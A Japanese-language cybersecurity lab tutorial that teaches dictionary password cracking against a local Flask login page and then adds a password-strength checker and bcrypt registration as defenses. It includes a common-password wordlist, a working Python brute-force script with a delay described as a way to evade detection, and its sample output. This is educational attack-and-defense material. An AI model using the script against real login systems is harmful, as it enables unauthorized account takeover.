はじめに
この実験(Lab)では、Python を使用して Web アプリケーションにおける脆弱なパスワードの脆弱性を特定し、悪用する方法を学びます。攻撃者がどのようにシステムを侵害するかを理解するために、一般的なパスワードクラッキング(password cracking)技術を実践します。この実践的な演習は、強力なパスワードポリシーの重要性を強調しながら、不可欠なサイバーセキュリティスキルを開発するのに役立ちます。
この実験(Lab)では、Python を使用して Web アプリケーションにおける脆弱なパスワードの脆弱性を特定し、悪用する方法を学びます。攻撃者がどのようにシステムを侵害するかを理解するために、一般的なパスワードクラッキング(password cracking)技術を実践します。この実践的な演習は、強力なパスワードポリシーの重要性を強調しながら、不可欠なサイバーセキュリティスキルを開発するのに役立ちます。
このステップでは、セキュリティ評価の最初の重要な段階である、対象 Web サイトに関する情報を収集します。パスワードクラッキング(password cracking)を試みる前に、ログインシステムがどのように機能し、どのようなセキュリティ対策が講じられているかを理解することが重要です。
http://localhost:8080/ にアクセスします。これは、LabEx 環境の Web 8080 タブをクリックすることでアクセスできます。
注意:LabEx 仮想マシンでは、Web サーバーは一時的なパブリックネットワーク上で動作します。つまり、表示されるドメイン名は "localhost" ではなく、実際にアクセス可能なドメインである可能性があります。これは正常であり、実験(Lab)の演習に影響はありません。
ログインフォームを注意深く調べます。以下の点に注目してください。
いくつかのランダムなユーザー名とパスワードの組み合わせを使用してログインを試みます。例:
test, パスワード:password123admin, パスワード:adminuser, パスワード:12345これらは、多くの初心者が使用する可能性のある一般的なデフォルトの資格情報です。各試行に対して「無効なユーザー名またはパスワード」というメッセージが表示されるはずです。
この初期の偵察段階は、セキュリティ専門家が「フットプリンティング(footprinting)」と呼ぶもので、対象システムに関する基本的な情報を収集することです。これらの詳細を理解することで、次のステップでパスワードクラッキング(password cracking)のアプローチをより効果的に計画するのに役立ちます。
ログインシステムに関する情報を収集したので、潜在的なパスワードの辞書を作成します。サイバーセキュリティ(cybersecurity)において、パスワード辞書とは、ログインシステムに対して試行される可能性のあるパスワードのリストを含むテキストファイルのことです。これは、パスワードクラッキング(password cracking)の試みで使用される基本的な技術であり、これを理解することで、より優れた防御を構築するのに役立ちます。

passwords.txt ファイルを作成し、内容を書き込みます。cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF
このコマンドは、「here document」(heredoc)と呼ばれる特別な bash 機能を使用します。これは、コマンドラインから直接、複数行のコンテンツを含むファイルを作成するための便利な方法です。何が起こっているのかを分解してみましょう。
cat << EOF > filename: これは、bash に対して "EOF" が表示されるまで、すべての入力を受け取り、指定されたファイルにリダイレクトするように指示します。EOF と 2 番目の EOF の間のテキストが、ファイルの内容になります。EOF は、入力の終わりを示します。実行後、~/project/password_lab/ ディレクトリに passwords.txt という名前の新しいファイルが見つかります。このファイルには、最も一般的に使用される 30 個の脆弱なパスワードが含まれています。どれだけ多くのものが単純な単語、数字のシーケンス、またはわずかなバリエーションであるかに注目してください。これらは、まさにシステムを脆弱にするパスワードの種類です。
実際のセキュリティテスト(security testing)では、専門家は以下を含む辞書を使用する場合があります。
注意:攻撃方法を理解するために、教育目的でこの小さな辞書を使用していますが、明示的な許可なしにパスワードをクラック(crack)しようとすることは、違法であり、倫理に反します。この演習は、一般的な弱点を理解することで、より強力な認証システムを構築する方法を学ぶのに役立ちます。
パスワード辞書が用意できたので、これらのパスワードを対象 Web サイトに対してテストするプロセスを自動化する Python スクリプトを作成します。このスクリプトは、攻撃者がさまざまなパスワードの組み合わせを体系的に試す方法をシミュレートし、強力なパスワードの重要性を理解するのに役立ちます。
まだ開いていない場合は、デスクトップでターミナルを開きます。ターミナルは、Python コードを記述して実行する場所です。
次のコマンドを入力して、nano テキストエディタで password_cracker.py という名前の新しいファイルを開きます。
nano ~/project/password_lab/password_cracker.py
Nano は、ほとんどの Linux システムにプリインストールされているシンプルなテキストエディタです。これを使用して、Python スクリプトを記述します。
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()
Ctrl+X、次に Y、最後に Enter を押して、ファイルを保存して nano を終了します。このシーケンスにより、変更が保存され、ターミナルに戻ります。このスクリプトがどのように機能するかを詳しく見てみましょう。
crack_password 関数:
requests ライブラリを使用して、テスト Web サイトに HTTP POST リクエストを送信します。strip() で余分なスペースを削除し、ログインを試みます。main 関数:
passwords.txt) を開き、すべての行を読み取ります。if __name__ == '__main__': 行は、スクリプトが直接実行されたときに実行されるようにします。このスクリプトは、基本的なブルートフォース攻撃(brute-force attack)パターンを示しています。辞書内のすべてのパスワードを各ユーザー名に対して体系的に試します。時間の遅延は非常に重要です。実際の攻撃者は、急速なログイン試行を監視するセキュリティシステムによる検出を回避するために、同様の遅延をよく使用します。
これはあくまで教育目的であることを忘れないでください。現実世界では、明示的な許可なしにこのようなアクションを実行することは違法です。不正アクセスを行うためではなく、これらの手法を理解し、それらから防御するために学んでいます。
パスワードクラッキングスクリプトを準備したので、実際に実行して、その動作を検証してみましょう。この実践的なデモンストレーションでは、基本的な技術を使用して、いかに脆弱なパスワードが侵害される可能性があるかを正確に示します。
cd ~/project/password_lab
このコマンドは、作業ディレクトリを Python スクリプトを保存した場所に変更します。システムがファイルを見つけて実行できるように、正しいディレクトリにいることが重要です。
python password_cracker.py
Enter キーを押すと、スクリプトの実行が開始されます。これは、定義済みのリストから一般的なパスワードをサンプルユーザーアカウントに対して体系的に試すことによって機能します。
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
スクリプトが、一致が見つかるまで、一般的な脆弱なパスワードを順番に試していることに注目してください。これは、辞書攻撃(dictionary attack)と呼ばれ、可能性のある候補のリストからパスワードをテストします。
この演習は、単純なパスワードが危険である理由を明確に示しています。今回のテストケースでは、パスワード「supersecret123」を持つアカウント「admin」は、一般的なパスワードの辞書に表示されたため、脆弱でした。文字と数字が含まれているにもかかわらず、その予測可能性により、クラックが容易になりました。
注意:このデモンストレーションは、教育目的のみです。明示的な許可なしに、これらの技術を実際のシステムで使用することは違法です。私たちの目標は、セキュリティの弱点を理解し、より強力なパスワードポリシーを作成し、システムをより適切に保護することです。
脆弱なパスワードをいくつか正常にクラックしたので、このような攻撃を防ぐために適切なセキュリティ対策を実装しましょう。このセクションでは、パスワード強度チェッカーと安全な登録システムを作成します。これらは、プロの Web アプリケーションで使用される基本的なセキュリティプラクティスです。
WebIDE タブを開きます。WebIDE は、Web ベースの統合開発環境であり、ブラウザで直接コードを記述、実行、デバッグできます。VS Code エディタに似ていますが、ブラウザで実行されます。WebIDE は、より長いコードファイルを編集するのに適しています。
画面左側のファイルエクスプローラーで、app.py ファイルをクリックしてエディタで開きます。ここで、セキュリティの改善を追加します。
パスワード強度チェックを実装するために、users ディクショナリの後に次の関数を追加します。この関数は、正規表現(regex)を使用してパスワードの複雑さを検証します。
import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True

この関数は、パスワードが次の検証を行うことで、最新のセキュリティ基準を満たしているかどうかを確認します。
if __name__ == '__main__': 行の前にこのコードブロックを追加します。これにより、Web アプリケーションに新しいルートが作成されます。@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)

この登録システムは、いくつかの重要なことを行います。
保存アイコンをクリックするか、Ctrl+S を押して、WebIDE で変更を保存します。
次に、Flask アプリケーションを再起動して、これらの変更を適用しましょう。ターミナルを開き、次を実行します。
pkill -f "python app.py"
python ~/project/password_lab/app.py
Web 8080 タブに移動し、URL に /register を追加して、新しい登録フォームにアクセスします。
「password123」のような脆弱なパスワードで登録を試して、セキュリティをテストします。システムは、エラーメッセージで拒否する必要があります。
次に、すべての基準を満たす適切な強力なパスワードで登録します。例:
labexS3cureP@ssw0rd-2024このパスワードには、必要なすべての文字タイプが含まれており、十分に長いことに注意してください。
パスワードクラッカーに対して、改善されたセキュリティをテストしましょう。まず、password_cracker.py スクリプトを変更して、新しいアカウントをターゲットにします。
nano ~/project/password_lab/password_cracker.py
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] と書かれた行を見つけます。usernames = ['labex'] に置き換えて、新しいアカウントをターゲットにします。変更したスクリプトを実行します。
python ~/project/password_lab/password_cracker.py
スクリプトは、パスワードをクラックできず、強力なパスワードポリシーがブルートフォース攻撃を効果的に防ぐことを示しているはずです。これは、最新のアプリケーションが複雑なパスワード要件を強制する理由を示しています。
この実験では、倫理的なパスワードクラッキング(password cracking)と Web アプリケーションのセキュリティテストの基本を学びました。脆弱性を特定するための偵察技術を実践し、パスワード辞書を作成し、Python スクリプトを使用して攻撃シミュレーションを自動化しました。
この実践的な経験を通じて、脆弱なパスワードがどのように悪用される可能性があるか、そして堅牢なセキュリティ対策を実装することの重要性について理解を深めました。この実験では、強力なパスワードポリシーなど、一般的な攻撃からシステムを効果的に保護できる実用的な対策が示されました。